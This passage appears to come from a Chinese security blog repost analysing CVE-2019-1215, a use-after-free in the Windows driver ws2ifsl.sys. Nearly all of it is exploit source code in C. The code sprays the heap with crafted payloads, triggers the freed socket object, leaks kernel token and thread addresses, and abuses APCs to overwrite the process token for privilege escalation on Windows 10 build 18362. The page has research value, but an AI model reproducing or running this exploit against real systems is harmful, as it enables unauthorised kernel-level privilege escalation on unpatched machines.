  eaData->unknown3 = (void*) 0x4444444;

  eaData->unknown4 = (void*) 0x5555555;


  NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));

  if (status != STATUS_SUCCESS)

  {

   printf("[-] NtCreateFile error: %x n", status);

   free(eaBuffer);

   return fileHandle;

  }


  free(eaBuffer);

  return fileHandle;

 }


 int DoHeapSpray(DWORD64 writeAddress, DWORD64 kthreadAddress)

 { 

  DWORD64 nopPointer = GetGadgetAddr("xHalTimerWatchdogStop");

  if (!nopPointer)

  {

   printf("[-] SeSetAccessStateGenericMapping not foundn");

   return 0;

  }


  DWORD64 funPointer = GetGadgetAddr("SeSetAccessStateGenericMapping");

  if (!funPointer)

  {

   printf("[-] SeSetAccessStateGenericMapping not foundn");

   return 0;

  } 


  UCHAR payload[0x120 - 0x48];

  memset(payload, 0x0, sizeof(payload));    

   

  DWORD64 x = 0x41414141414141;    

  memcpy(payload, &x, 8);

  

  x = 0x12121212;        

  memcpy(payload + 8, &x, 8);

  

  x = kthreadAddress + OFFSET_LINKEDLIST;  // apc linked list 

  memcpy(payload + 0x10, &x, 8);

  

  x = kthreadAddress + OFFSET_LINKEDLIST;

  memcpy(payload + 0x18, &x, 8);

  

  x = funPointer;

  memcpy(payload + 0x20, &x, 8);    // this is the RIP we want to execute, in case of NtTestAlert


  x = nopPointer;

  memcpy(payload + 0x28, &x, 8);    // this is the RIP we want to execute, in case of rundown routine 

  

  x = 0xffffffffffffffff;      // this is to be written

  memcpy(payload + 0x30, &x, 8);

  

  x = 0xffffffffffffffff;      // this is to be written, but it gets changed..

  memcpy(payload + 0x38, &x, 8);

  

  x = 0x2424242424242424;

  memcpy(payload + 0x40, &x, 8);

  

  x = writeAddress;       // this is where to write 

  memcpy(payload + 0x48, &x, 8);

  

  for (size_t i = 0; i < 0x70; i++)

  {

   HANDLE readPipe;

   HANDLE writePipe;

   DWORD resultLength = 0;

  

   BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));

   if (!res)

   {

    printf("[-] error creating pipen");

    return 0;

   }

   res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);

  }


  return 1;

 }


 /*

  This function will trigger the use after free in ws2ifsl.sys and

  will try to reallocate the buffer with controlled content.

 */

 void TriggerBug(HANDLE threadHandle, DWORD64 writeAddress, DWORD64 kthreadAddress, int id)

 {

  HANDLE procHandle = CreateProcessHandle(threadHandle);

  printf("[!] procHandle %xn", (DWORD)procHandle);


  HANDLE sockHandle = CreateSocketHandle(procHandle);

  printf("[!] sockHandle %xn", (DWORD)sockHandle);


  char* readBuffer = (char*)malloc(0x100);

  DWORD bytesRead = 0;


  IO_STATUS_BLOCK io;

  LARGE_INTEGER byteOffset;

  byteOffset.HighPart = 0;

  byteOffset.LowPart = 0;

  byteOffset.QuadPart = 0;

  byteOffset.u.LowPart = 0;

  byteOffset.u.HighPart = 0;

  ULONG key = 0;


  CloseHandle(procHandle);


  NTSTATUS ret = g_NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);


  // this close the objecte and we trigger the use after free

  CloseHandle(sockHandle);


  // this spray will reclaim the buffer

  if (!DoHeapSpray(writeAddress, kthreadAddress))

  {

   printf("[-] error doHeapSprayn");

   return;

  }


  if (id == 1)

  {

   g_done1 = 1;

  }


  if (id == 2)

  {

   g_done2 = 1;

  }


  printf("[+] donen");

  Sleep(0x20);

  free(readBuffer);


  return;

 }


 /*

  This function resolves all function pointer for native api calls.

 */

 bool InitFunctionPointers()

 {

  HMODULE hNtDll = NULL;

  hNtDll = LoadLibrary("ntdll.dll");

  if (!hNtDll)

  {

   printf("errorn");

   return false;

  }


  g_NtTestAlert = (NtTestAlert_t)GetProcAddress(hNtDll, "NtTestAlert");

  if (!g_NtTestAlert)

  {

   printf("errorn");

   return false;

  }


  g_NtWriteFile = (NtWriteFile_t)GetProcAddress(hNtDll, "NtWriteFile");

  if (!g_NtWriteFile)

  {

   printf("[-] GetProcAddress() NtWriteFile failed.n");

   return false;

  }


  g_RtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtDll, "RtlGetVersion");

  if (!g_NtWriteFile)

  {

   printf("[-] GetProcAddress() RtlGetVersion failed.n");

   return false;

  }


  return true;

 }


 int main()

 {

  // intialize event for thread synchronization

  g_Event1 = CreateEvent(0, 0, 0, 0);

  g_Event2 = CreateEvent(0, 0, 0, 0);

  g_Event3 = CreateEvent(0, 0, 0, 0);


  if (g_Event1 == INVALID_HANDLE_VALUE || !g_Event1)

  {

   printf("[-] CreateEvent failedn");

   return 0;

  }

  if (g_Event2 == INVALID_HANDLE_VALUE || !g_Event2)

  {

   printf("[-] CreateEvent failedn");

   return 0;

  }

  if (g_Event3 == INVALID_HANDLE_VALUE || !g_Event2)

  {

   printf("[-] CreateEvent failedn");

   return 0;

  }


  if (!InitFunctionPointers())

  {

   printf("[-] InitFunctionPointers failedn");

   return 0;

  }


  HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());

  if (!proc)

  {

   printf("[-] OpenProcess failedn");

   return 0;

  }

  HANDLE token = 0;

  if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))

  {

   printf("[-] OpenProcessToken failedn");

   return 0;

  } 


  DWORD64 ktoken = GetKernelPointer(token, 0x5);

  DWORD64 where = ktoken + TOKEN_OFFSET;


  printf("[+] found token at: %pn", (DWORD64) ktoken);



  // check the supported version of this exploit, otherwise we would crash

  RTL_OSVERSIONINFOW osversion;

  g_RtlGetVersion(&osversion);

  

  if (osversion.dwMajorVersion == 10 && osversion.dwBuildNumber == 18362)

  {

   printf("[+] version supportedn");

  }

  else

  {

   printf("[-] sorry version not supportedn");

   return 0;

  }


  HANDLE hAPCThread1 = CreateThread(0, 0, APCThread1, 0, 0, 0);

  if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1)

  {

   printf("[-] error CreateThreadn");

   return 0;

  }


  HANDLE hAPCThread2 = CreateThread(0, 0, APCThread2, 0, 0, 0);

  if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread2)

  {

   printf("[-] error CreateThreadn");

   return 0;

  }

   

  DWORD64 threadAddrAPC1 = GetKernelPointer(hAPCThread1, 0x8);

  if (!threadAddrAPC1)

  {

   printf("[-] GetKernelPointer error n");

   return 0;

  }

  DWORD64 threadAddrAPC2 = GetKernelPointer(hAPCThread2, 0x8);

  if (!threadAddrAPC2)

  {

   printf("[-] GetKernelPointer error n");

   return 0;

  }


  // wait for threads to be initialized

  WaitForSingleObject(g_Event1, -1);

  WaitForSingleObject(g_Event2, -1);


  TriggerBug(hAPCThread1, where-8, threadAddrAPC1, 1);

  TriggerBug(hAPCThread2, where, threadAddrAPC2, 2);


  WaitForSingleObject(g_Event3, -1);

  

  ExitProcess(0);

  

  return 0;

 }

参考及来源:https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究

本文始发于微信公众号(嘶吼专业版):CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: